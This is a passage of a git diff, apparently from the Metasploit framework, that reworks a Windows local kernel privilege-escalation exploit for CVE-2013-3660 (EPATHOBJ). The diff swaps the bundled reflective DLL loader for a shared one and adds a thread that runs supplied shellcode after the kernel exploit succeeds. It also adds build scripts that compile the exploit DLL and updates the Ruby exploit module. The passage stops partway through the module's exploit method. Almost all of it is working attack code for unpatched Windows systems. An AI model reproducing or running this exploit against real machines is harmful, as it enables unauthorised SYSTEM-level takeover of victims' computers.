a code gen bug. Using /O1 instead avoids this problem. - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) - { - register DWORD dwInstruction; - register DWORD dwAddress; - register WORD wImm; - // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) - dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); - // flip the words to get the instruction as expected - dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); - // sanity chack we are processing a MOV instruction... - if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) - { - // pull out the encoded 16bit value (the high portion of the address-to-relocate) - wImm = (WORD)( dwInstruction & 0x000000FF); - wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); - wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); - wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); - // apply the relocation to the target address - dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; - // now create a new instruction with the same opcode and register param. - dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); - // patch in the relocated address... - dwInstruction |= (DWORD)(dwAddress & 0x00FF); - dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; - dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; - dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; - // now flip the instructions words and patch back into the code... - *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); - } - } -#endif - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) - *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) - *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); - - // get the next entry in the current relocation block - uiValueD += sizeof( IMAGE_RELOC ); - } - - // get the next entry in the relocation directory - uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; - } - } - - // STEP 6: call our images entry point - - // uiValueA = the VA of our newly loaded DLL/EXE's entry point - uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); - - // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. - pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); - - // call our respective entry point, fudging our hInstance value -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR - // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) - ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); -#else - // if we are injecting an DLL via a stub we call DllMain with no parameter - ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); -#endif - - // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. - return uiValueA; -} -//===============================================================================================// -#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN - -BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) -{ - BOOL bReturnValue = TRUE; - switch( dwReason ) - { - case DLL_QUERY_HMODULE: - if( lpReserved != NULL ) - *(HMODULE *)lpReserved = hAppInstance; - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - return bReturnValue; -} - -#endif -//===============================================================================================// diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h deleted file mode 100755 index b8eb22b0b1..0000000000 --- a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h +++ /dev/null @@ -1,202 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H -#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include -#include -#include -#include "ReflectiveDLLInjection.h" - -typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); -typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); -typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); -typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); - -#define KERNEL32DLL_HASH 0x6A4ABC5B -#define NTDLLDLL_HASH 0x3CFA685D - -#define LOADLIBRARYA_HASH 0xEC0E4E8E -#define GETPROCADDRESS_HASH 0x7C0DFCAA -#define VIRTUALALLOC_HASH 0x91AFCA54 -#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 - -#define IMAGE_REL_BASED_ARM_MOV32A 5 -#define IMAGE_REL_BASED_ARM_MOV32T 7 - -#define ARM_MOV_MASK (DWORD)(0xFBF08000) -#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) -#define ARM_MOVW 0xF2400000 -#define ARM_MOVT 0xF2C00000 - -#define HASH_KEY 13 -//===============================================================================================// -#pragma intrinsic( _rotr ) - -__forceinline DWORD ror( DWORD d ) -{ - return _rotr( d, HASH_KEY ); -} - -__forceinline DWORD hash( char * c ) -{ - register DWORD h = 0; - do - { - h = ror( h ); - h += *c; - } while( *++c ); - - return h; -} -//===============================================================================================// -typedef struct _UNICODE_STR -{ - USHORT Length; - USHORT MaximumLength; - PWSTR pBuffer; -} UNICODE_STR, *PUNICODE_STR; - -// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY -//__declspec( align(8) ) -typedef struct _LDR_DATA_TABLE_ENTRY -{ - //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STR FullDllName; - UNICODE_STR BaseDllName; - ULONG Flags; - SHORT LoadCount; - SHORT TlsIndex; - LIST_ENTRY HashTableEntry; - ULONG TimeDateStamp; -} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; - -// WinDbg> dt -v ntdll!_PEB_LDR_DATA -typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes -{ - DWORD dwLength; - DWORD dwInitialized; - LPVOID lpSsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID lpEntryInProgress; -} PEB_LDR_DATA, * PPEB_LDR_DATA; - -// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK -typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes -{ - struct _PEB_FREE_BLOCK * pNext; - DWORD dwSize; -} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; - -// struct _PEB is defined in Winternl.h but it is incomplete -// WinDbg> dt -v ntdll!_PEB -typedef struct __PEB // 65 elements, 0x210 bytes -{ - BYTE bInheritedAddressSpace; - BYTE bReadImageFileExecOptions; - BYTE bBeingDebugged; - BYTE bSpareBool; - LPVOID lpMutant; - LPVOID lpImageBaseAddress; - PPEB_LDR_DATA pLdr; - LPVOID lpProcessParameters; - LPVOID lpSubSystemData; - LPVOID lpProcessHeap; - PRTL_CRITICAL_SECTION pFastPebLock; - LPVOID lpFastPebLockRoutine; - LPVOID lpFastPebUnlockRoutine; - DWORD dwEnvironmentUpdateCount; - LPVOID lpKernelCallbackTable; - DWORD dwSystemReserved; - DWORD dwAtlThunkSListPtr32; - PPEB_FREE_BLOCK pFreeList; - DWORD dwTlsExpansionCounter; - LPVOID lpTlsBitmap; - DWORD dwTlsBitmapBits[2]; - LPVOID lpReadOnlySharedMemoryBase; - LPVOID lpReadOnlySharedMemoryHeap; - LPVOID lpReadOnlyStaticServerData; - LPVOID lpAnsiCodePageData; - LPVOID lpOemCodePageData; - LPVOID lpUnicodeCaseTableData; - DWORD dwNumberOfProcessors; - DWORD dwNtGlobalFlag; - LARGE_INTEGER liCriticalSectionTimeout; - DWORD dwHeapSegmentReserve; - DWORD dwHeapSegmentCommit; - DWORD dwHeapDeCommitTotalFreeThreshold; - DWORD dwHeapDeCommitFreeBlockThreshold; - DWORD dwNumberOfHeaps; - DWORD dwMaximumNumberOfHeaps; - LPVOID lpProcessHeaps; - LPVOID lpGdiSharedHandleTable; - LPVOID lpProcessStarterHelper; - DWORD dwGdiDCAttributeList; - LPVOID lpLoaderLock; - DWORD dwOSMajorVersion; - DWORD dwOSMinorVersion; - WORD wOSBuildNumber; - WORD wOSCSDVersion; - DWORD dwOSPlatformId; - DWORD dwImageSubsystem; - DWORD dwImageSubsystemMajorVersion; - DWORD dwImageSubsystemMinorVersion; - DWORD dwImageProcessAffinityMask; - DWORD dwGdiHandleBuffer[34]; - LPVOID lpPostProcessInitRoutine; - LPVOID lpTlsExpansionBitmap; - DWORD dwTlsExpansionBitmapBits[32]; - DWORD dwSessionId; - ULARGE_INTEGER liAppCompatFlags; - ULARGE_INTEGER liAppCompatFlagsUser; - LPVOID lppShimData; - LPVOID lpAppCompatInfo; - UNICODE_STR usCSDVersion; - LPVOID lpActivationContextData; - LPVOID lpProcessAssemblyStorageMap; - LPVOID lpSystemDefaultActivationContextData; - LPVOID lpSystemAssemblyStorageMap; - DWORD dwMinimumStackCommit; -} _PEB, * _PPEB; - -typedef struct -{ - WORD offset:12; - WORD type:4; -} IMAGE_RELOC, *PIMAGE_RELOC; -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/exploits/cve-2013-3660/make.msbuild b/external/source/exploits/cve-2013-3660/make.msbuild new file mode 100755 index 0000000000..e620eef70f --- /dev/null +++ b/external/source/exploits/cve-2013-3660/make.msbuild @@ -0,0 +1,18 @@ + + + + .\ppr_flatten_rec.sln + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2013-3660/ppr_flatten_rec.sln b/external/source/exploits/cve-2013-3660/ppr_flatten_rec.sln new file mode 100755 index 0000000000..b01875c989 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/ppr_flatten_rec.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ppr_flatten_rec", "ppr_flatten_rec\ppr_flatten_rec.vcxproj", "{942BF20A-E438-48B0-A614-A6E0CC2E94BD}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Debug|Win32.ActiveCfg = Debug|Win32 + {942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Debug|Win32.Build.0 = Debug|Win32 + {942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Release|Win32.ActiveCfg = Release|Win32 + {942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2013-3660/dll/src/ComplexPath.h b/external/source/exploits/cve-2013-3660/ppr_flatten_rec/ComplexPath.h similarity index 96% rename from external/source/exploits/cve-2013-3660/dll/src/ComplexPath.h rename to external/source/exploits/cve-2013-3660/ppr_flatten_rec/ComplexPath.h index 11c4134bb4..505d9961d2 100755 --- a/external/source/exploits/cve-2013-3660/dll/src/ComplexPath.h +++ b/external/source/exploits/cve-2013-3660/ppr_flatten_rec/ComplexPath.h @@ -418,19 +418,10 @@ # define WIN32_NO_STATUS #endif #include -#include -#include -#include -#include #ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS #endif -#include -#pragma comment(lib, "gdi32") -#pragma comment(lib, "kernel32") -#pragma comment(lib, "user32") -#pragma comment(lib, "shell32") #pragma comment(linker, "/SECTION:.text,ERW") #ifndef PAGE_SIZE @@ -448,11 +439,6 @@ static ULONG ComplexPathNumRegion = 0; static HANDLE Mutex; static DWORD ComplexPathFinished = 0; -// Log levels. -typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; - -BOOL LogMessage(LEVEL Level, PCHAR Format, ...); - // Copied from winddi.h from the DDK #define PD_BEGINSUBPATH 0x00000001 #define PD_ENDSUBPATH 0x00000002 @@ -509,21 +495,24 @@ ULONG HalQuerySystemInformation; PULONG TargetPid; PVOID *PsInitialSystemProcess; -VOID elevator_complex_path(); +//#define DEBUGTRACE 1 -//#define DEBUGTRACE 1 - -#ifdef DEBUGTRACE -#define dprintf(...) real_dprintf(__VA_ARGS__) -#else -#define dprintf(...) do{}while(0); -#endif - -static void real_dprintf(char *format, ...) { - va_list args; - char buffer[1024]; - va_start(args,format); - vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args); - strcat_s(buffer, sizeof(buffer), "\r\n"); - OutputDebugStringA(buffer); -} \ No newline at end of file +// Log levels. +typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; + +#ifdef DEBUGTRACE +VOID LogMessage(LEVEL Level, PCHAR Format, ...); + +#define dprintf(...) real_dprintf(__VA_ARGS__) +static void real_dprintf(char *format, ...) { + va_list args; + char buffer[1024]; + va_start(args,format); + vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args); + strcat_s(buffer, sizeof(buffer), "\r\n"); + OutputDebugStringA(buffer); +} +#else +#define dprintf(...) +#define LogMessage(...) +#endif diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c b/external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.c similarity index 90% rename from external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c rename to external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.c index 547fd1fd85..f4776eb046 100755 --- a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c +++ b/external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.c @@ -1,15 +1,15 @@ //===============================================================================================// -// This is a stub for the actuall functionality of the DLL. +// This is a stub for the actual functionality of the DLL. //===============================================================================================// -// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are -// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own -// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. -//===============================================================================================// - -#include "ReflectiveLoader.h" +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "ComplexPath.h" +// Purloined from ntstatus.h +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth + // // -------------------------------------------------- // Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit @@ -550,7 +550,20 @@ VOID __declspec(naked) HalDispatchRedirect(VOID) } } -VOID elevator_complex_path() +/*! + * @brief Helper thread function which runs the given payload directly. + * @param lpPayload The payload shellcode to execute. + * @returns \c ERROR_SUCCESS + */ +DWORD WINAPI execute_payload(LPVOID lpPayload) +{ + LogMessage(L_INFO, "[PPRFLATTENREC] Payload thread started."); + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} + +VOID elevator_complex_path(LPVOID lpPayload) { HANDLE Thread; HDC Device; @@ -566,6 +579,12 @@ VOID elevator_complex_path() "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n" "\r------------------- taviso@cmpxchg8b.com, programmeboy@gmail.com ---\n" "\n"); + + if (lpPayload == NULL) { + LogMessage(L_ERROR, "[PRFLATTENREC] payload argument not specified"); + return; + } + NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile"); NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation"); Mutex = CreateMutex(NULL, FALSE, NULL); @@ -590,10 +609,10 @@ VOID elevator_complex_path() // Lookup some system routines we require. KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName); - HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; - PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; - PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; - PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; + HalDispatchTable = (PULONG)((ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase); + PsInitialSystemProcess = (PVOID*)((ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase); + PsReferencePrimaryToken = (FARPROC)((ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase); + PsLookupProcessByProcessId = (FARPROC)((ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase); // Search for a ret instruction to install in the damaged HalDispatchTable. HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize) @@ -629,7 +648,7 @@ VOID elevator_complex_path() // I need to map at least two pages to guarantee the whole structure is // available. - while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1), + while (!VirtualAlloc((LPVOID)(*DispatchRedirect & ~(PAGE_SIZE - 1)), PAGE_SIZE * 2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) { @@ -740,7 +759,7 @@ VOID elevator_complex_path() if (ComplexPathFinished) { LogMessage(L_INFO, "Success...", ComplexPathFinished); - //ExitProcess(0); + CreateThread(0, 0, execute_payload, lpPayload, 0, NULL); return; } @@ -756,7 +775,8 @@ VOID elevator_complex_path() } // A quick logging routine for debug messages. -BOOL LogMessage(LEVEL Level, PCHAR Format, ...) +#ifdef DEBUGTRACE +VOID LogMessage(LEVEL Level, PCHAR Format, ...) { CHAR Buffer[1024] = {0}; va_list Args; @@ -774,28 +794,34 @@ BOOL LogMessage(LEVEL Level, PCHAR Format, ...) //fflush(stdout); //flush(stderr); - - return TRUE; } -extern HINSTANCE hAppInstance; -BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +#else +#define LogMessage(...) +#endif + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { - BOOL bReturnValue = TRUE; - switch( dwReason ) - { - case DLL_QUERY_HMODULE: - if( lpReserved != NULL ) - *(HMODULE *)lpReserved = hAppInstance; - hAppInstance = hinstDLL; - elevator_complex_path(); - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } + BOOL bReturnValue = TRUE; + dprintf("[PPRFLATTENREC] DllMain invoked, reason: %u", dwReason); + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + dprintf("[PPRFLATTENREC] Module queried %x", hinstDLL); + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + dprintf("[PPRFLATTENREC] Launching exploit with %p", lpReserved); + elevator_complex_path(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } return bReturnValue; } \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.vcxproj b/external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.vcxproj new file mode 100755 index 0000000000..6368dc6a25 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.vcxproj @@ -0,0 +1,141 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {942BF20A-E438-48B0-A614-A6E0CC2E94BD} + ppr_flatten_rec + Win32Proj + + + + DynamicLibrary + MultiByte + false + v120_xp + + + DynamicLibrary + MultiByte + v120_xp + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + + Disabled + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;PPR_FLATTEN_REC_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + %(DelayLoadDLLs) + true + Windows + MachineX86 + + + /ignore:4070 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + + + _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) + + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;PPR_FLATTEN_REC_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\ppr_flatten_rec.map + Windows + + + + + false + + + $(OutDir)\ppr_flatten_rec.lib + MachineX86 + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\CVE-2013-3660\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\CVE-2013-3660\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2013-3660\" + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.vcxproj.filters b/external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.vcxproj.filters new file mode 100755 index 0000000000..15ae50dd2e --- /dev/null +++ b/external/source/exploits/cve-2013-3660/ppr_flatten_rec/ppr_flatten_rec.vcxproj.filters @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3660/rdi.sln b/external/source/exploits/cve-2013-3660/rdi.sln deleted file mode 100755 index 0a0dde7c06..0000000000 --- a/external/source/exploits/cve-2013-3660/rdi.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual C++ Express 2010 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 - {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 - {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 - {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index 2acf81084f..808969ad80 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -26,6 +26,13 @@ PUSHD CVE-2010-0232 msbuild.exe make.msbuild /target:%PLAT% POPD +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2013-3660 (ppr_flatten_rec)" + PUSHD CVE-2013-3660 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% echo Finished %ldt% diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index 47bc4c96da..41a33cc523 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -27,11 +27,12 @@ class Metasploit3 < Msf::Exploit::Local [ 'Tavis Ormandy ', # Vulnerability discovery and Original Exploit 'progmboy ', # Original Exploit - 'Keebie4e', # Metasploit integration - 'egypt', # Metasploit integration - 'sinn3r', # Metasploit integration - 'Meatballs', # Metasploit integration - 'juan vazquez' # Metasploit integration + 'Keebie4e', # Metasploit integration + 'egypt', # Metasploit integration + 'sinn3r', # Metasploit integration + 'Meatballs', # Metasploit integration + 'juan vazquez', # Metasploit integration + 'OJ Reeves' # Metasploit integration ], 'Arch' => ARCH_X86, 'Platform' => 'win', @@ -54,12 +55,17 @@ class Metasploit3 < Msf::Exploit::Local [ 'CVE', '2013-3660' ], [ 'EDB', '25912' ], [ 'OSVDB', '93539' ], + [ 'MSB', 'MS13-015' ], [ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ], ], 'DisclosureDate' => 'May 15 2013', 'DefaultTarget' => 0 })) + register_options([ + OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 10 ]) + ], self.class) + end def check @@ -110,6 +116,13 @@ class Metasploit3 < Msf::Exploit::Local end def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if check == Exploit::CheckCode::Safe + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") + end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") @@ -117,56 +130,59 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end - print_status("Creating a new process and migrating...") + dll = '' + offset = nil - cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe" - new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true }) - new_pid = new_proc.pid + 